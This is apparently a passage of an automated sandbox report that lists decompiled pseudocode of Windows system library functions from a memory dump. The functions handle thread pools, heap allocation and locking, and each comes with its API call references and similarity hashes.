						_t141 = _t155 * 0xc +  *((intOrPtr*)(_t183 - 0x24));
						 *((intOrPtr*)(_t141 + 8)) = 0;
						 *((intOrPtr*)(_t141 + 4)) = _t141;
						 *_t141 = _t141;
						_t155 = _t155 + 1;
					}
					_t157 =  *0x6aa084c4 + 0xc0000;
					 *(_t183 - 0x4c) = _t157;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t157 | 0x00000008, _t173 << 2);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x1c) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t160 =  *0x6aa084c4 + 0xc0000;
					 *(_t183 - 0x50) = _t160;
					_t107 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), _t160 | 0x00000008,  *0x6aa084c0 * 0xc);
					_t181 =  *((intOrPtr*)(_t183 - 0x20));
					 *(_t181 + 0x20) = _t107;
					if(_t107 == 0) {
						goto L36;
					}
					_t123 =  *0x7ffe03c0;
					 *(_t183 - 0x34) = _t123;
					 *(_t183 - 0x54) = _t123;
					 *(_t181 + 0x100) = _t123;
					_t178 = E6A943B7A(_t181);
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					}
					 *((intOrPtr*)(_t181 + 0x104)) = 0xfffffffe;
					 *(_t183 - 0x60) = 0;
					 *((intOrPtr*)(_t183 - 0x5c)) = 0;
					_t163 =  *(_t183 - 0x34);
					_t124 = _t163 & 0x0000ffff;
					 *(_t183 - 0x60) = _t124;
					 *(_t181 + 8) = _t124;
					 *((intOrPtr*)(_t181 + 0xc)) = 0;
					 *_t181 = 1;
					if(_t163 < 4) {
						_t164 = 4;
					} else {
						_t164 = _t163 + 1;
					}
					 *(_t183 - 0x34) = _t164;
					_t49 = _t181 + 0x28; // 0x28
					_push(_t164);
					_push(0);
					_push(0x1f0003);
					_t178 = E6A959F70();
					 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
					if(_t178 < 0) {
						goto L24;
					} else {
						 *((intOrPtr*)(_t183 - 4)) = 1;
						 *((intOrPtr*)(_t183 - 0x3c)) = 1;
						_t129 =  *0x7ffe03c0 << 2;
						if(_t129 < 0x200) {
							_t129 = 0x200;
						}
						_t53 = _t181 + 0x24; // 0x24
						_push( *((intOrPtr*)(_t183 - 0x30)));
						_push( *((intOrPtr*)(_t183 - 0x38)));
						_push(_t129);
						_push(_t181);
						_push(0x6a93c740);
						_push(0xffffffff);
						_push( *((intOrPtr*)(_t181 + 0x28)));
						_push(0);
						_push(0xf00ff);
						_t178 = E6A95A160();
						 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
						if(_t178 < 0) {
							L23:
							 *((intOrPtr*)(_t183 - 4)) = 0;
							 *((intOrPtr*)(_t183 - 0x3c)) = 0;
							_t107 = E6A943B48(_t130, 0, _t178, _t181);
							goto L24;
						} else {
							if( *(_t183 - 0x2c) != 0) {
								_push(4);
								_push(_t183 - 0x2c);
								_push(0xd);
								_push( *((intOrPtr*)(_t181 + 0x24)));
								_t178 = E6A95AE70();
								 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
								if(_t178 < 0) {
									goto L23;
								}
								 *((short*)(_t181 + 0xe6)) =  *(_t183 - 0x2c);
							}
							 *((intOrPtr*)(_t181 + 0x2c)) = 0;
							 *((intOrPtr*)(_t181 + 0xe0)) = 0;
							 *((intOrPtr*)(_t181 + 0x110)) = 0;
							 *((short*)(_t181 + 0xe4)) = 0;
							_t63 = _t181 + 0x30; // 0x30
							_t133 = _t63;
							 *((intOrPtr*)(_t133 + 4)) = _t133;
							 *_t133 = _t133;
							_t65 = _t181 + 0x38; // 0x38
							_t134 = _t65;
							 *((intOrPtr*)(_t134 + 4)) = _t134;
							 *_t134 = _t134;
							_t67 = _t181 + 0x114; // 0x114
							_t135 = _t67;
							 *((intOrPtr*)(_t135 + 4)) = _t135;
							 *_t135 = _t135;
							E6A93F194(_t181, _t183 - 0x58, 0);
							_t181 =  *((intOrPtr*)(_t183 - 0x20));
							 *((intOrPtr*)(_t181 + 0xf0)) =  *((intOrPtr*)(_t183 + 4));
							_t73 = _t181 + 0x40; // 0x40
							_t178 = E6A94196E(_t73, _t181);
							 *((intOrPtr*)(_t183 - 0x1c)) = _t178;
							if(_t178 < 0) {
								goto L23;
							}
							_t178 = 0;
							 *((intOrPtr*)(_t183 - 0x1c)) = 0;
							E6A932280(_t130, 0x6aa086b4);
							 *((intOrPtr*)(_t183 - 4)) = 2;
							_t77 = _t181 + 0xe8; // 0xe8
							_t139 = _t77;
							_t176 =  *0x6aa053dc; // 0x6aa053d8
							if( *_t176 != 0x6aa053d8) {
								_push(3);
								asm("int 0x29");
								goto L32;
							}
							 *_t139 = 0x6aa053d8;
							 *((intOrPtr*)(_t139 + 4)) = _t176;
							 *_t176 = _t139;
							 *0x6aa053dc = _t139;
							 *((intOrPtr*)(_t183 - 4)) = 1;
							_t130 = E6A943B3D();
							goto L23;
						}
					}
				}
			}

0x6a9437eb
0x6a9437ed
0x6a9437f2
0x6a9437f7
0x6a9437fa
0x6a943803
0x6a943806
0x6a94380b
0x6a94380e
0x6a943817
0x6a94381e
0x6a98615c
0x6a943b0c
0x6a943b13
0x6a943b13
0x6a943827
0x6a94382a
0x6a94382d
0x6a943836
0x6a94383e
0x6a986168
0x6a98616e
0x6a98616e
0x6a986168
0x6a943865
0x6a943867
0x6a94386a
0x6a94386d
0x6a943876
0x6a986176
0x6a986176
0x6a98617b
0x00000000
0x6a94387c
0x6a943882
0x6a943888
0x6a9438a2
0x6a9438a4
0x6a9438a9
0x6a986183
0x6a986188
0x6a98618b
0x6a943ad9
0x6a943ad9
0x6a943ae0
0x6a943ae7
0x6a943aee
0x00000000
0x00000000
0x6a943af3
0x6a943afc
0x6a986288
0x6a98628d
0x6a986290
0x6a943b02
0x6a943b02
0x6a943b02
0x6a943b0a
0x6a943b71
0x6a943b73
0x6a943b73
0x00000000
0x6a943b0a
0x6a9438af
0x6a9438b1
0x6a9438b4
0x6a9438b7
0x6a9438bd
0x6a9438cd
0x6a9438d1
0x6a9438d2
0x6a9438d2
0x6a9438d7
0x6a9438d9
0x6a9438d9
0x6a9438e1
0x00000000
0x00000000
0x6a9438e6
0x6a9438e9
0x6a9438ec
0x6a9438ef
0x6a9438f1
0x6a9438f1
0x6a9438fa
0x6a943900
0x6a943916
0x6a94391b
0x6a94391e
0x6a943923
0x00000000
0x00000000
0x6a94392f
0x6a943935
0x6a94394d
0x6a943952
0x6a943955
0x6a94395a
0x00000000
0x00000000
0x6a943960
0x6a943965
0x6a943968
0x6a94396b
0x6a943978
0x6a94397a
0x6a94397f
0x00000000
0x00000000
0x6a943985
0x6a94398f
0x6a943992
0x6a943995
0x6a943998
0x6a94399b
0x6a94399e
0x6a9439a1
0x6a9439a4
0x6a9439ad
0x6a986195
0x6a9439b3
0x6a9439b3
0x6a9439b3
0x6a9439b4
0x6a9439b7
0x6a9439ba
0x6a9439bb
0x6a9439bc
0x6a9439c7
0x6a9439c9
0x6a9439ce
0x00000000
0x6a9439d4
0x6a9439d7
0x6a9439da
0x6a9439e2
0x6a9439ec
0x6a9439ee
0x6a9439ee
0x6a9439f0
0x6a9439f3
0x6a9439f6
0x6a9439f9
0x6a9439fa
0x6a9439fb
0x6a943a00
0x6a943a02
0x6a943a05
0x6a943a06
0x6a943a11
0x6a943a13
0x6a943a18
0x6a943aca
0x6a943aca
0x6a943acd
0x6a943ad4
0x00000000
0x6a943a1e
0x6a943a22
0x6a943b14
0x6a943b19
0x6a943b1a
0x6a943b1c
0x6a943b24
0x6a943b26
0x6a943b2b
0x00000000
0x00000000
0x6a943b31
0x6a943b31
0x6a943a28
0x6a943a2b
0x6a943a31
0x6a943a37
0x6a943a3e
0x6a943a3e
0x6a943a41
0x6a943a44
0x6a943a46
0x6a943a46
0x6a943a49
0x6a943a4c
0x6a943a4e
0x6a943a4e
0x6a943a54
0x6a943a57
0x6a943a5f
0x6a943a67
0x6a943a6a
0x6a943a70
0x6a943a7a
0x6a943a7c
0x6a943a81
0x00000000
0x00000000
0x6a943a83
0x6a943a85
0x6a943a8d
0x6a943a92
0x6a943a99
0x6a943a99
0x6a943a9f
0x6a943aac
0x6a943b6c
0x6a943b6f
0x00000000
0x6a943b6f
0x6a943ab2
0x6a943ab4
0x6a943ab7
0x6a943ab9
0x6a943abe
0x6a943ac5
0x00000000
0x6a943ac5
0x6a943a18
0x6a9439ce

APIs

RtlImageNtHeader.1105(?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A943817

Part of subcall function 6A92B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6A94381C,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000), ref: 6A92B076

RtlAllocateHeap.1105(?,?,00000120,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000,?,?,?,6A9EFEB8,0000001C), ref: 6A943860
RtlAllocateHeap.1105(?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000), ref: 6A94389D
RtlAllocateHeap.1105(?,?,?,?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000), ref: 6A943916
RtlAllocateHeap.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98), ref: 6A94394D
ZwCreateIoCompletion.1105(00000028,001F0003,00000000,?), ref: 6A9439C2
ZwCreateWorkerFactory.1105(00000024,000F00FF,00000000,?,000000FF,6A93C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6A943A0C
RtlAcquireSRWLockExclusive.1105(6AA086B4,00000000,00000024,000F00FF,00000000,?,000000FF,6A93C740,00000000,7FFE03C0,?,?,00000028,001F0003,00000000,?), ref: 6A943A8D
RtlGetCurrentServiceSessionId.1105(?,?,00000000,?,?,?,?,?,00000000,?,?,00000120,?,6A9EFF48,00000050,6A943E98), ref: 6A943AF5
ZwSetInformationWorkerFactory.1105(?,0000000D,00000000,00000004,00000024,000F00FF,00000000,?,000000FF,6A93C740,00000000,7FFE03C0,?,?,00000028,001F0003), ref: 6A943B1F

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocateHeap$CreateFactoryHeaderImageWorker$AcquireCompletionCurrentExclusiveInformationLockServiceSession
String ID:
API String ID: 358453882-0
Opcode ID: 3b1f72e2d5fa50684cda4f38e343bcf31d47d6c0172754cf8d0b5d8b0de18349
Instruction ID: 71b468b716177af6b90f948344f579f94fac3587a6217bb436434f43233fa97d
Opcode Fuzzy Hash: 3b1f72e2d5fa50684cda4f38e343bcf31d47d6c0172754cf8d0b5d8b0de18349
Instruction Fuzzy Hash: 30B134B19006099FCB15CFA9C940BAEBBF9FB48314F22852EE51AAB351DB34D901CF54

Uniqueness

Uniqueness Score: -1.00%

Function 6A93F86D, Relevance: 15.1, APIs: 10, Instructions: 124
threadmemoryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6A93F86D(void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t31;
				signed int _t40;
				signed int _t45;
				signed int _t46;
				signed int _t48;
				signed int _t50;
				signed int _t53;
				intOrPtr _t60;
				signed int* _t66;
				signed int _t67;
				signed int* _t70;
				void* _t71;

				_t64 = __edx;
				_t61 = __ecx;
				_push(0x1c);
				_push(0x6a9efeb8);
				E6A96D08C(__ebx, __edi, __esi);
				_t60 = __edx;
				 *((intOrPtr*)(_t71 - 0x28)) = __edx;
				_t70 = __ecx;
				 *((intOrPtr*)(_t71 - 0x2c)) = __ecx;
				_t66 =  *(_t71 + 8);
				if(_t66 == 0 || __ecx == 0 || __edx == 0 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					E6A9E88F5(_t60, _t61, _t64, _t66, _t70, __eflags);
					_t31 = 0xc000000d;
					goto L9;
				} else {
					if( *__ecx == 0) {
						L10:
						 *(_t71 - 0x20) =  *(_t71 - 0x20) & 0x00000000;
						_t67 = E6A943E70(_t71 - 0x20, 0);
						 *(_t71 - 0x24) = _t67;
						__eflags = _t67;
						if(_t67 < 0) {
							L24:
							_t31 = _t67;
							L9:
							return E6A96D0D1(_t31);
						}
						E6A932280(_t36, _t60);
						 *(_t71 - 4) = 1;
						__eflags =  *_t70;
						if( *_t70 != 0) {
							asm("lock inc dword [eax]");
							L21:
							 *(_t71 - 4) = 0xfffffffe;
							E6A93F9DD(_t60);
							_t40 =  *(_t71 - 0x20);
							__eflags = _t40;
							if(__eflags != 0) {
								_push(_t40);
								E6A919100(_t60, _t61, _t67, _t70, __eflags);
							}
							__eflags = _t67;
							if(_t67 >= 0) {
								 *( *(_t71 + 8)) =  *_t70;
							}
							goto L24;
						}
						__eflags = _t70 - 0x6aa086c0;
						if(_t70 != 0x6aa086c0) {
							__eflags = _t70 - 0x6aa086b8;
							if(_t70 != 0x6aa086b8) {
								L20:
								 *_t70 =  *(_t71 - 0x20);
								_t20 = _t71 - 0x20;
								 *_t20 =  *(_t71 - 0x20) & 0x00000000;
								__eflags =  *_t20;
								goto L21;
							}
							E6A945AA0(_t61,  *(_t71 - 0x20), 1);
							_t45 = E6A9195F0( *(_t71 - 0x20), 1);
							L27:
							_t67 = _t45;
							__eflags = _t67;
							 *(_t71 - 0x24) = _t67;
							if(_t67 >= 0) {
								goto L20;
							}
							goto L21;
						}
						_t46 =  *0x6aa08754;
						__eflags = _t46;
						if(_t46 != 0) {
							E6A945AA0(_t61,  *(_t71 - 0x20), _t46);
						} else {
							_t50 =  *0x7ffe03c0 << 3;
							__eflags = _t50 - 0x300;
							if(_t50 < 0x300) {
								_t50 = 0x300;
							}
							E6A945AA0(0x300,  *(_t71 - 0x20), _t50);
							_t53 =  *0x7ffe03c0 << 2;
							_t61 = 0x180;
							__eflags = _t53 - 0x180;
							if(_t53 < 0x180) {
								_t53 = 0x180;
							}
							E6A955C70( *(_t71 - 0x20), _t53);
						}
						_t48 =  *0x6aa08750;
						__eflags = _t48;
						if(_t48 != 0) {
							_t45 = E6A91B8F0( *(_t71 - 0x20), _t48);
							goto L27;
						} else {
							goto L20;
						}
					}
					 *((char*)(_t71 - 0x19)) = 0;
					E6A93FAD0(__edx);
					 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
					if( *_t70 != 0) {
						asm("lock inc dword [eax]");
						 *_t66 =  *_t70;
						 *((char*)(_t71 - 0x19)) = 1;
					}
					 *(_t71 - 4) = 0xfffffffe;
					E6A93F9D6(_t60);
					if( *((char*)(_t71 - 0x19)) == 0) {
						goto L10;
					} else {
						_t31 = 0;
						goto L9;
					}
				}
			}

0x6a93f86d
0x6a93f86d
0x6a93f86d
0x6a93f86f
0x6a93f874
0x6a93f879
0x6a93f87b
0x6a93f87e
0x6a93f880
0x6a93f883
0x6a93f888
0x6a9847c9
0x6a9847ce
0x00000000
0x6a93f8b1
0x6a93f8b4
0x6a93f8f1
0x6a93f8f1
0x6a93f900
0x6a93f902
0x6a93f905
0x6a93f907
0x6a93f9a9
0x6a93f9a9
0x6a93f8e9
0x6a93f8ee
0x6a93f8ee
0x6a93f90e
0x6a93f913
0x6a93f91c
0x6a93f91e
0x6a93f9e4
0x6a93f98b
0x6a93f98b
0x6a93f992
0x6a93f997
0x6a93f99a
0x6a93f99c
0x6a93f9e9
0x6a93f9ea
0x6a93f9ea
0x6a93f99e
0x6a93f9a0
0x6a93f9a7
0x6a93f9a7
0x00000000
0x6a93f9a0
0x6a93f924
0x6a93f92a
0x6a93f9b0
0x6a93f9b6
0x6a93f982
0x6a93f985
0x6a93f987
0x6a93f987
0x6a93f987
0x00000000
0x6a93f987
0x6a93f9be
0x6a93f9c6
0x6a93f9cb
0x6a93f9cb
0x6a93f9cd
0x6a93f9cf
0x6a93f9d2
0x00000000
0x00000000
0x00000000
0x6a93f9d4
0x6a93f930
0x6a93f935
0x6a93f937
0x6a9847a3
0x6a93f93d
0x6a93f942
0x6a93f94a
0x6a93f94c
0x6a93f94e
0x6a93f94e
0x6a93f954
0x6a93f95e
0x6a93f961
0x6a93f966
0x6a93f968
0x6a93f96a
0x6a93f96a
0x6a93f970
0x6a93f970
0x6a93f975
0x6a93f97a
0x6a93f97c
0x6a9847b1
0x00000000
0x00000000
0x00000000
0x00000000
0x6a93f97c
0x6a93f8b6
0x6a93f8bb
0x6a93f8c0
0x6a93f8c8
0x6a93f8ca
0x6a93f8cf
0x6a93f8d1
0x6a93f8d1
0x6a93f8d5
0x6a93f8dc
0x6a93f8e5
0x00000000
0x6a93f8e7
0x6a93f8e7
0x00000000
0x6a93f8e7
0x6a93f8e5

APIs

RtlAcquireSRWLockShared.1105(?,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F8BB
TpAllocPool.1105(00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F8FB
RtlAcquireSRWLockExclusive.1105(?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F90E
TpSetPoolMaxThreads.1105(00000000,7FFE03C0,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F954
TpSetPoolMaxThreadsSoftLimit.1105(00000000,7FFE03C0,00000000,7FFE03C0,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F970
TpSetPoolMaxThreads.1105(00000000,00000001,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F9BE
TpSetPoolMinThreads.1105(00000000,00000001,00000000,00000001,?,00000000,00000000,?,?,?,6A9EFEB8,0000001C,6A912C4C,?), ref: 6A93F9C6

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Pool$Threads$AcquireLock$AllocExclusiveLimitSharedSoft
String ID:
API String ID: 4196657934-0
Opcode ID: a26d679f5b367b89e358f24221798c627a56a634617d516300828d65042664c3
Instruction ID: e79a8e47207360bfa6c706fdd6f0e96789569564df89626e75017a929818a623
Opcode Fuzzy Hash: a26d679f5b367b89e358f24221798c627a56a634617d516300828d65042664c3
Instruction Fuzzy Hash: 2341BFB1A04225EFEB118FA8C844BAEB6B9BF5971CF320519E452EF252DF74DC408B51

Uniqueness

Uniqueness Score: -1.00%

Function 6A915210, Relevance: 15.1, APIs: 10, Instructions: 107
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E6A915210(intOrPtr _a4, void* _a8) {
				void* __ecx;
				intOrPtr _t31;
				signed int _t32;
				signed int _t33;
				void* _t35;
				int _t52;
				void* _t54;
				void* _t56;
				unsigned int _t59;
				signed int _t60;
				void* _t61;

				_t61 = E6A9152A5(1);
				if(_t61 == 0) {
					_t31 =  *((intOrPtr*)( *[fs:0x30] + 0x10));
					_t54 =  *(_t31 + 0x28);
					_t59 =  *(_t31 + 0x24) & 0x0000ffff;
				} else {
					_t54 =  *(_t61 + 0x10);
					_t59 =  *(_t61 + 0xc) & 0x0000ffff;
				}
				_t60 = _t59 >> 1;
				_t32 = 0x3a;
				if(_t60 < 2 ||  *((intOrPtr*)(_t54 + _t60 * 2 - 4)) == _t32) {
					_t52 = _t60 + _t60;
					if(_a4 > _t52) {
						goto L5;
					}
					if(_t61 != 0) {
						asm("lock xadd [esi], eax");
						if((_t32 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6A9595D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					} else {
						E6A92EB70(_t54, 0x6aa079a0);
					}
					return _t52 + 2;
				} else {
					_t52 = _t60 + _t60;
					if(_a4 < _t52) {
						if(_t61 != 0) {
							asm("lock xadd [esi], eax");
							if((_t32 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t61 + 4)));
								E6A9595D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
							}
						} else {
							E6A92EB70(_t54, 0x6aa079a0);
						}
						return _t52;
					}
					L5:
					_t33 = memcpy(_a8, _t54, _t52);
					if(_t61 == 0) {
						E6A92EB70(_t54, 0x6aa079a0);
					} else {
						asm("lock xadd [esi], eax");
						if((_t33 | 0xffffffff) == 0) {
							_push( *((intOrPtr*)(_t61 + 4)));
							E6A9595D0();
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t61);
						}
					}
					_t35 = _a8;
					if(_t60 <= 1) {
						L9:
						_t60 = _t60 - 1;
						 *((short*)(_t52 + _t35 - 2)) = 0;
						goto L10;
					} else {
						_t56 = 0x3a;
						if( *((intOrPtr*)(_t35 + _t60 * 2 - 4)) == _t56) {
							 *((short*)(_t35 + _t52)) = 0;
							L10:
							return _t60 + _t60;
						}
						goto L9;
					}
				}
			}

0x6a915220
0x6a915224
0x6a970d13
0x6a970d16
0x6a970d19
0x6a91522a
0x6a91522a
0x6a91522d
0x6a91522d
0x6a915231
0x6a915235
0x6a915239
0x6a970d5c
0x6a970d62
0x00000000
0x00000000
0x6a970d6a
0x6a970d7b
0x6a970d7f
0x6a970d81
0x6a970d84
0x6a970d95
0x6a970d95
0x6a970d6c
0x6a970d71
0x6a970d71
0x00000000
0x6a91524a
0x6a91524a
0x6a915250
0x6a970d24
0x6a970d35
0x6a970d39
0x6a970d3b
0x6a970d3e
0x6a970d50
0x6a970d50
0x6a970d26
0x6a970d2b
0x6a970d2b
0x00000000
0x6a970d55
0x6a915256
0x6a91525b
0x6a915265
0x6a970da7
0x6a91526b
0x6a91526e
0x6a915272
0x6a970db1
0x6a970db4
0x6a970dc5
0x6a970dc5
0x6a915272
0x6a915278
0x6a91527e
0x6a91528a
0x6a91528c
0x6a91528d
0x00000000
0x6a915280
0x6a915282
0x6a915288
0x6a91529f
0x6a915292
0x00000000
0x6a915292
0x00000000
0x6a915288
0x6a91527e

APIs

Part of subcall function 6A9152A5: RtlEnterCriticalSection.1105(6AA079A0,?,?,00000000,?,?,?,6A9151B4,?,?,?), ref: 6A9152BF
Part of subcall function 6A9152A5: RtlLeaveCriticalSection.1105(6AA079A0,6AA079A0,?,?,00000000,?,?,?,6A9151B4,?,?,?), ref: 6A9152DD

memcpy.1105(?,?), ref: 6A91525B
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A970D2B
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A970D71
ZwClose.1105(?), ref: 6A970D84
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6A970D95
RtlLeaveCriticalSection.1105(6AA079A0), ref: 6A970DA7
ZwClose.1105(?), ref: 6A970DB4
RtlFreeHeap.1105(?,00000000,00000000,?), ref: 6A970DC5

Memory Dump Source

Source File: 00000016.00000002.449035922.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 00000016.00000002.448930992.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 00000016.00000002.451301490.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 00000016.00000002.451364864.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 00000016.00000002.451409914.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$Leave$CloseFreeHeap$Entermemcpy
String ID:
API String ID: 3163955863-0
Opcode ID: 261706a74bfeda02dc761a6ff6a8e08d64bbaa16b60c0bfe5a7ebf117a9a7516
Instruction ID: d74c77ae9b49b3f763d36e0254bc4dc20df72d9280c22de5db3cbde91c209b49
Opcode Fuzzy Hash: 261706a74bfeda02dc761a6ff6a8e08d64bbaa16b60c0bfe5a7ebf117a9a7516
Instruction Fuzzy Hash: 3031E032655B14EFD731CB28C885B6677B9FF21764F324A1AE8250B1A1EF31ED00C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 6A944BAD, Relevance: 13.6, APIs: 9, Instructions: 131
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6A944BAD(long __ecx, void* __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				char _v36;
				void _v156;
				short _v158;
				intOrPtr _v160;
				long _v164;
				long _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				void* _t84;
				void* _t85;
				long _t86;
				int _t87;
				long _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x6aa0d360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E6A91CC50(_t86);
					L11:
					return E6A95B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0 || _t45 !=  *((intOrPtr*)(_t77 + 0x34))) {
					goto L22;
				} else {
					_t9 = _t77 + 0x24; // 0x6aa08504
					E6A932280(_t9, _t9);
					_t87 = 0x78;
					 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
					memset( &_v156, 0, _t87);
					_t85 =  &_v156;
					_v36 =  *((intOrPtr*)(_t77 + 0x30));
					_v28 = _v168;
					_v32 = 0;
					_v24 = 0;
					_v20 = _v158;
					_v160 = 0;
					while(1) {
						_push( &_v164);
						_push(_t87);
						_push(_t85);
						_push(0x18);
						_push( &_v36);
						_push(0x1e);
						_t88 = E6A95B0B0();
						if(_t88 != 0xc0000023) {
							break;
						}
						if(_t85 !=  &_v156) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						}
						_t84 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v164);
						_v168 = _v164;
						if(_t84 == 0) {
							_t88 = 0xc0000017;
							goto L19;
						} else {
							_t74 = _v160 + 1;
							_v160 = _t74;
							if(_t74 >= 0x10) {
								L19:
								_t86 = RtlNtStatusToDosError(_t88);
								if(_t86 != 0) {
									L8:
									 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
									_t30 = _t77 + 0x24; // 0x6aa08504
									E6A92FFB0(_t77, _t84, _t30);
									if(_t84 != 0 && _t84 !=  &_v156) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t84);
									}
									if(_t86 != 0) {
										goto L12;
									} else {
										goto L11;
									}
								}
								L6:
								 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
								if(_v164 != 0) {
									_t83 = _t84;
									E6A944F49(_t77, _t84);
								}
								goto L8;
							}
							_t87 = _v168;
							continue;
						}
					}
					if(_t88 != 0) {
						goto L19;
					}
					goto L6;
				}
			}

0x6a944bad
0x6a944bbf
0x6a944bc2
0x6a944bc6
0x6a944bcd
0x6a944bd9
0x6a9867fe
0x6a986800
0x6a944ccc
0x6a944ccd
0x6a944cb7
0x6a944cc9
0x6a944cc9
0x6a944bdf
0x6a944be5
0x00000000
0x6a944bf5
0x6a944bf5
0x6a944bf9
0x6a944c06
0x6a944c0b
0x6a944c17
0x6a944c1f
0x6a944c25
0x6a944c33
0x6a944c3d
0x6a944c40
0x6a944c43
0x6a944c47
0x6a944c4d
0x6a944c53
0x6a944c54
0x6a944c55
0x6a944c56
0x6a944c5b
0x6a944c5c
0x6a944c63
0x6a944c6b
0x00000000
0x00000000
0x6a986776
0x6a986784
0x6a986784
0x6a98679f
0x6a9867a7
0x6a9867af
0x6a9867ce
0x00000000
0x6a9867b1
0x6a9867b7
0x6a9867b8
0x6a9867c1
0x6a9867d3
0x6a9867d9
0x6a9867dd
0x6a944c94
0x6a944c94
0x6a944c98
0x6a944c9c
0x6a944ca3
0x6a9867f4
0x6a9867f4
0x6a944cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x6a944cb5
0x6a944c79
0x6a944c7e
0x6a944c89
0x6a944c8b
0x6a944c8f
0x6a944c8f
0x00000000
0x6a944c89
0x6a9867c3
0x00000000
0x6a9867c3
0x6a9867af
0x6a944c73
0x00000000
0x00000000
0x00000000
0x6a944c73

APIs

RtlAcquireSRWLockExclusive.1105(6AA08504,6AA05338,00000000,6AA05320), ref: 6A944BF9
memset.1105(?,00000000,00000078,6AA08504,6AA05338,00000000,6AA05320), ref: 6A944C17
ZwTraceControl.1105(0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A944C5E
RtlReleaseSRWLockExclusive.1105(6AA08504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A944C9C
RtlSetLastWin32Error.1105(00000000,6AA08504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A944CCD
RtlFreeHeap.1105(?,00000000,?,0000001E,00000000,00000018,?,00000078,?,6AA05338,00000000,6AA05320), ref: 6A986784
